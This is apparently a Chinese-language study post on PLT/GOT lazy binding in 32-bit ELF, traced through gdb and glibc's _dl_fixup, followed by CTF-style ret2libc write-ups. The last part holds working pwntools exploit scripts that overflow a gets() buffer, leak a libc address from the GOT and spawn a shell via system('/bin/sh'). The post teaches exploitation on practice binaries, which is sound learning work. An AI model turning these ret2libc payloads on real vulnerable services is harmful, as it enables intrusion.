# PLT 和 GOT 表

之前在调试的程序里经常会看到这样子的东西:

call   8049050 <gets@plt>

在调用对应的函数的时候并不是直接跳转到目标函数的地址,而是经过了一个 .plt 段。这个 plt 也就是 procedure linkage table。这里就细说一下具体的东西。

我们写一个这样子的程序并编译:

#include <stdio.h>
int main(){
    printf("Hello.\n");
    printf("Goodbye\n");
    return 0;
}

查看反编译之后的 main 函数:

 8049193:       8d 83 08 e0 ff ff       lea    eax,[ebx-0x1ff8]
 8049199:       50                      push   eax
 804919a:       e8 b1 fe ff ff          call   8049050 <puts@plt>
 804919f:       83 c4 10                add    esp,0x10
 80491a2:       83 ec 0c                sub    esp,0xc
 80491a5:       8d 83 0f e0 ff ff       lea    eax,[ebx-0x1ff1]
 80491ab:       50                      push   eax
 80491ac:       e8 9f fe ff ff          call   8049050 <puts@plt>

可以看到这里调用的是函数 puts@plt 而不是 puts 。我们继续反编译 puts@plt ,发现这是在 .plt 段里:

08049050 <puts@plt>:
 8049050:       ff 25 10 c0 04 08       jmp    DWORD PTR ds:0x804c010
 8049056:       68 08 00 00 00          push   0x8
 804905b:       e9 d0 ff ff ff          jmp    8049030 <_init+0x30>

这里程序首先跳转到了 ds:0x804c010 这个地方,这是哪里?

我们通过 gdb 跟进调试。

我们查看内存对应区块的内容:

pwndbg> x 0x804c010
0x804c010 <puts@got.plt>:       0x08049056

也就是说这条 jmp DWORD PTR ds:0x804c010 指令跳转到的地方实际上就是它的下一条语句。这里的 GOT 全程是 Global Offset Table。我们接着往后看。

程序在 push 8 之后执行了 jmp 0x8049030 。在 objdump 中,跳转的目的地址是这样的:

08049030 <__libc_start_main@plt-0x10>:
 8049030:       ff 35 04 c0 04 08       push   DWORD PTR ds:0x804c004
 8049036:       ff 25 08 c0 04 08       jmp    DWORD PTR ds:0x804c008
 804903c:       00 00                   add    BYTE PTR [eax],al

程序首先将 DWORD PTR ds:0x804c004 地址的数据压入栈中。

pwndbg> x 0x804c004
0x804c004:      0xf7ffda20

接下来,程序跳转进入 _dl_runtime_resolve 中。实际上,这个函数是动态重定位中的关键函数。这个函数的位置在 glibc/sysdep/<machine type>/dl-trampoline.S 中。删去一些代码以便理解。

_dl_runtime_resolve:
	pushl %eax		# Preserve registers otherwise clobbered.
	pushl %ecx
	pushl %edx
	movl 16(%esp), %edx	# Copy args pushed by PLT in register.  Note
	movl 12(%esp), %eax	# that fixup takes its parameters in regs.
	call _dl_fixup		# Call resolver.
	popl %edx		# Get register content back.
	movl (%esp), %ecx
	movl %eax, (%esp)	# Store the function address.
	movl 4(%esp), %eax
	ret $12			# Jump to function address.

这个函数首先将寄存器压栈以保存寄存器的值。接下来,函数从栈上读取数据放入寄存器中。

执行到语句 movl 16(%esp), %edx 之前,栈中的状态是这样的:

00:0000│ esp 0xffffd528 —▸ 0xffffd590 —▸ 0xf7f6ee3c (_GLOBAL_OFFSET_TABLE_) ◂— 0x224d6c /* 'lM"' */ => EDX
01:0004│     0xffffd52c —▸ 0xffffd570 ◂— 0x1 => ECX
02:0008│     0xffffd530 —▸ 0x804a008 ◂— 'Hello.' => EAX
03:000c│     0xffffd534 —▸ 0xf7ffda20 ◂— 0x0 => move into EAX
04:0010│     0xffffd538 ◂— 0x8 => move into EDX

接下来程序进入了 _dl_fixup 函数。这个函数定义在 glibc/elf/dl-runtime.c 中。

/* This function is called through a special trampoline from the PLT the
first time each PLT entry is called. We must perform the relocation
specified in the PLT of the given shared object, and return the resolved
function address to the trampoline, which will restart the original call
to that address. Future calls will bounce directly from the PLT to the
function. */

函数的定义是这样的:

DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
	   struct link_map *l, 
       ElfW(Word) reloc_arg
);

这里需要加上一些额外的信息,一个程序具体的动态链接细节是保存在了 .dynamic 节中。我们可以通过 readelf 读取文件中 dynamic 节的信息:

$ readelf -d test

Dynamic section at offset 0x2f0c contains 24 entries:
  标记        类型                         名称/值
 0x00000001 (NEEDED)                     共享库:[libc.so.6]
 0x0000000c (INIT)                       0x8049000
 0x0000000d (FINI)                       0x80491c4
 0x00000019 (INIT_ARRAY)                 0x804bf04
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x804bf08
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x8048240
 0x00000005 (STRTAB)                     0x80482d0
 0x00000006 (SYMTAB)                     0x8048260
 0x0000000a (STRSZ)                      139 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804c000
 0x00000002 (PLTRELSZ)                   16 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x80483b4
 0x00000011 (REL)                        0x804839c
 0x00000012 (RELSZ)                      24 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x804836c
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x804835c
 0x00000000 (NULL)                       0x0

dynamic 节中,存放的是这样的数据结构:

typedef struct {
    Elf32_Sword d_tag;
    union {
        Elf32_Word d_val;
        Elf32_Addr d_ptr;
    } d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];

其中 d_tags 用来确定 d_un 的类型。它的具体取值可以在 ELF 对应的文档里查看到。

有一些重要的取值:

DT_STRTAB :对应的 d_unElf32_Addr 类型,存放了字符串表。

DT_SYMTAB :对应的 d_unElf32_Addr 类型,存放了符号表。

DT_RELADT_REL :对应的 d_unElf32_Addr 类型,存放了重定位表。 DT_RELASZDT_RELSZ 对应的表项里是重定位表的总大小。 DT_RELAENTDT_RELENT 对应的表项中则是重定位表单个项目的大小。(实际上上面 DT_STRTABDT_SYMTAB 对应的大小也是类似的命名方式)

DT_JMPREL :存放了需要重定位的函数信息(对应了 .rel.plt 节)。总大小和表项大小的命名和上面类似。

在重定位表中,存放了这样的数据结构:

typedef struct {
    Elf32_Addr r_offset;
    Elf32_Word r_info;
} Elf32_Rel;
typedef struct {
    Elf32_Addr r_offset;
    Elf32_Word r_info;
    Elf32_Sword r_addend;
} Elf32_Rela;

其中 Elf32_Rel 对应了 DT_RELElf32_Rela 对应了 DT_RELA

我们可以使用 readelf 查看重定位信息:

$ readelf -r test

重定位节 '.rel.dyn' at offset 0x39c contains 3 entries:
 偏移量     信息    类型              符号值      符号名称
0804bff4  00000206 R_386_GLOB_DAT    00000000   _ITM_deregisterTM[...]
0804bff8  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
0804bffc  00000506 R_386_GLOB_DAT    00000000   _ITM_registerTMCl[...]

重定位节 '.rel.plt' at offset 0x3b4 contains 2 entries:
 偏移量     信息    类型              符号值      符号名称
0804c00c  00000107 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.34
0804c010  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0

可以看到在 .rel.pltputs 函数的 r_offset 值为 0804c010 。这个值指到了哪里?回到前面程序,我们可以看到:

08049050 <puts@plt>:
 8049050:       ff 25 10 c0 04 08       jmp    DWORD PTR ds:0x804c010
 8049056:       68 08 00 00 00          push   0x8
 804905b:       e9 d0 ff ff ff          jmp    8049030 <_init+0x30>

这个地址就是 puts@plt 第一条指令跳转的目的地址,也就是在 GOT 表中 puts 对应的表项。那么,完成重定位之后, puts 函数的地址就会被写入该偏移的地址。如果下次再需要调用这个函数,就可以直接调用这个地址进行跳转了,不需要再去执行各种解析操作。

这个 Elf32_Rel 表项在哪里?这个表项在 .rel.plt 这一节中,我们可以通过 Elf32_Dyn 表项去找到。

puts 函数的信息字段是 00000307 ,这个值我们可以去和 Elf32_Relr_info 进行对照。

对于上面的 ELF32_RELELF32_RELA ,还有下面三个定义:

#define ELF32_R_SYM(i) ((i)>>8)
#define ELF32_R_TYPE(i) ((unsigned char)(i))
#define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t))

使用上面的 ELF32_R_SYM 宏计算 ELF32_R_SYM(r_info) 就可以得到对应符号在符号表中的偏移。 ELF32_R_TYPE 则可以计算出对应的类型。

对于前面的例子, puts 函数的 r_info00000307 ,右移 8 位之后得到的值为 3 。我们再去读取符号表,可以看到偏移为 3 的地方就是 puts 函数的符号表。

$ readelf -s test

Symbol table '.dynsym' contains 7 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND _[...]@GLIBC_2.34 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterT[...]
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (3)
     4: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     5: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMC[...]
     6: 0804a004     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used

在符号表中,元素对应的类型是这样的:

typedef struct {
    Elf32_Word st_name; // 符号名在符号字符串表中的索引
    Elf32_Addr st_value; // 符号值(可能是值或者函数地址)
    Elf32_Word st_size; // 符号的大小(字节数这样的)
    unsigned char st_info;
    unsigned char st_other;
    Elf32_Half st_shndx;
} Elf32_Sym;

其中 st_size 段是这样的:

#define ELF32_ST_BIND(i) ((i)>>4)
#define ELF32_ST_TYPE(i) ((i)&0xf)
#define ELF32_ST_INFO(b,t) (((b)<<4)+((t)&0xf))

对于导入符号,这个字段的值是 0x12。

休息一会,放松一下。

好了,有了上面的基础,接下来继续看 test 程序。程序的运行进入了函数 _dl_fixup 中。

_dl_fixup (
	   struct link_map *l, 
       ElfW(Word) reloc_arg
);

和栈顶的元素对照一下:

00:0000│ esp 0xffffd528 —▸ 0xffffd590 —▸ 0xf7f6ee3c (_GLOBAL_OFFSET_TABLE_) ◂— 0x224d6c /* 'lM"' */
01:0004│     0xffffd52c —▸ 0xffffd570 ◂— 0x1

其中 struct link_map *l 对应的是栈顶的元素, ElfW(Word) reloc_arg 对应的是栈顶的下一个元素也就是 1。

接下来,程序执行

const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

前一条语句从 l 中获得了符号表的地址,第二条语句得到了字符串表的位置。

// 获取函数的重定位表地址,注意是 DT_JMPREL,也就是在.rel.plt 节中。
//reloc_offset 是 1,记得前面 readelf -r test 得到的结果?puts 在.rel.plt 的第二个,也就是偏移是 1!
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 获取符号表的地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
// 得到函数的重定位地址,也就是 GOT 表项的地址
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

接下来是一些定义和检查:

lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

后面是符号表的查找过程:

if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0) {
  const struct r_found_version *version = NULL;
  // 这一段暂时不用管
  if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) {
    const ElfW(Half) *vernum =
        (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
      version = NULL;
  }
  // 这一部分有关线程安全
  int flags = DL_LOOKUP_ADD_DEPENDENCY;
  if (!RTLD_SINGLE_THREAD_P) {
    // 加锁
    THREAD_GSCOPE_SET_FLAG();
    flags |= DL_LOOKUP_GSCOPE_LOCK;
  }
  // 关键部分 —— 查找符号
  result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
                               version, ELF_RTYPE_CLASS_PLT, flags, NULL);
  // 完成查找操作,解除锁
  if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG();
  // 之前拿到的链接库的基址,现在还需要加上函数的偏移
  value = DL_FIXUP_MAKE_VALUE(result, SYMBOL_ADDRESS(result, sym, false));
} else {
  // 已经找到了对应的符号,就不需要去做上面的那些事情
  value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
  result = l;
}

经过上面的步骤,我们能够获得所需要的函数的偏移。

......
  // 将对应的偏移写进 GOT 表里
  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

完成这个步骤之后,解析过程完成。通过 GDB 调试可以看到,执行完函数 _dl_fixup 之后, EAX 的值就是 puts 的实际地址:

接下来函数经过了栈的清理和一部分恢复操作,将 EAX 的值写入栈顶并执行 ret ,可以看到程序 ret 之后就会进入 puts 函数执行。

在执行完 puts 函数之后,程序回到 main 函数继续执行。

 ► 0xf7dc0bfa <puts+266>    ret                                  <0x804919f; main+41>
    ↓
   0x804919f  <main+41>     add    esp, 0x10

接下来程序运行到第二次调用 puts 函数时,我们使用 gdb 跟进:

可以看到程序会直接跳转进入了 puts 函数中执行,并不需要再进行一次 _dl_runtime_resolve 的操作。

实际上,如果程序在运行开始时就直接将动态链接库中的所有函数都进行这样的操作也是可以的,但是会带来巨大的性能损耗,所以会采用这样的折中的方式。在第一次调用函数的时候会进行一次 GOT 表的绑定,之后就不再需要了,这个操作被称为延迟绑定 (Lazy Binding)

# ret2libc

这道题为例。

$ pwn checksec ret2libc2
[*] '/home/syml/Temp/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到没有开启 Canary 和 PIE,但是开启了 NX。通过 IDA 检查发现程序里面没有 /bin/sh 这样的字符串。

使用 readelf 或者 IDA 都可以看到其中有 system 函数:

重定位节 '.rel.plt' at offset 0x3c4 contains 11 entries:
 偏移量     信息    类型              符号值      符号名称
......
0804a010  00000207 R_386_JUMP_SLOT   00000000   gets@GLIBC_2.0
......
0804a01c  00000507 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
......

我们使用 IDA 反编译可以看到 main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(s);
  return 0;
}

还是同样的栈溢出漏洞。采用和上次类似的方法可以看出返回地址相对的偏移为 112。

同时,我们还发现在 .bss 段存在一个变量 buf2

接下来的问题是如何去构造 payload。一个思路是,溢出 main 函数使得它返回到 gets@plt ,读取数据 /bin/sh 放入 buf2 ,接下来返回到 system@plt ,将 buf2 的内容作为参数传入。

通过这个思路我们构造 payload:

from pwn import *
buf2_addr = 0x804a080
gets_addr = 0x8048460
system_addr = 0x8048490
sh = process('./ret2libc2')
payload = b"A" * 112 + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
sh.sendline(payload)
sh.sendline(b"/bin/sh")
sh.interactive()

成功。

其实这个例子并没有具体的体现出来前面扯了一大段的 GOT lazy binding 还有 glibc 的特点。这个例子相对来说更难一些。

程序的保护措施和前一个一样:

$ pwn checksec ret2libc3
[*] '/home/syml/Temp/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

但是查看这里的重定位表就会发现,没有 system 函数的重定位信息:

重定位节 '.rel.plt' at offset 0x3ac contains 10 entries:
 偏移量     信息    类型              符号值      符号名称
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   gets@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   time@GLIBC_2.0
0804a018  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a01c  00000507 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a020  00000607 R_386_JUMP_SLOT   00000000   srand@GLIBC_2.0
0804a024  00000707 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a028  00000807 R_386_JUMP_SLOT   00000000   setvbuf@GLIBC_2.0
0804a02c  00000907 R_386_JUMP_SLOT   00000000   rand@GLIBC_2.0
0804a030  00000a07 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

接下来拖进 IDA 看一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(s);
  return 0;
}

这里有一个背景知识,glibc 中各个函数之间相对偏移是固定的 —— 我们知道了一个函数的偏移也就会知道其他所有函数的偏移。同时 glibc 中也有字符串 /bin/sh ,我们也可以去获得这个字符串的偏移。现有的工具包括了 python 模块在线网站等。

那么问题就是怎么样去泄漏函数的偏移。另一个问题又在于,因为 GOT 的延迟绑定特点,我们需要读取一个已经执行过了一次的函数的偏移才行。

那么,我们选择读取 __libc_start_main 函数的 GOT。payload 构造如下(在本机上跑真的会碰到各种奇奇怪怪的问题)

from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
file = ELF('./ret2libc3')
puts = file.plt['puts']
libc_start_got = file.got['__libc_start_main']
start = file.symbols['_start']
# 返回到 puts 函数,输出_libc_start_main 的 GOT,并跳转到_start 重新执行程序。
sh.recvuntil(b"!?")
payload = b'A' * 112 + p32(puts) + p32(start) + p32(libc_start_got)
sh.sendline(payload)
print("Leak glibc got addr, return to start")
libc_start_addr = u32(sh.recv(4))
print("addr: {}".format(hex(libc_start_addr)))
libc = LibcSearcher('__libc_start_main', libc_start_addr)
base = libc_start_addr - libc.dump('__libc_start_main')
sys_addr = base + libc.dump('system')
bin_addr = base + libc.dump('str_bin_sh')
# 利用。
payload = b"A" * 112 + p32(sys_addr) + b"aaaa" + p32(bin_addr)
sh.sendline(payload)
sh.interactive()

# 参考资料

[1] CTFWiki 栈溢出 - 基本 ROP

[2] Executable and Linkable Format(ELF) Specification

此文章已被阅读次数:正在加载...更新于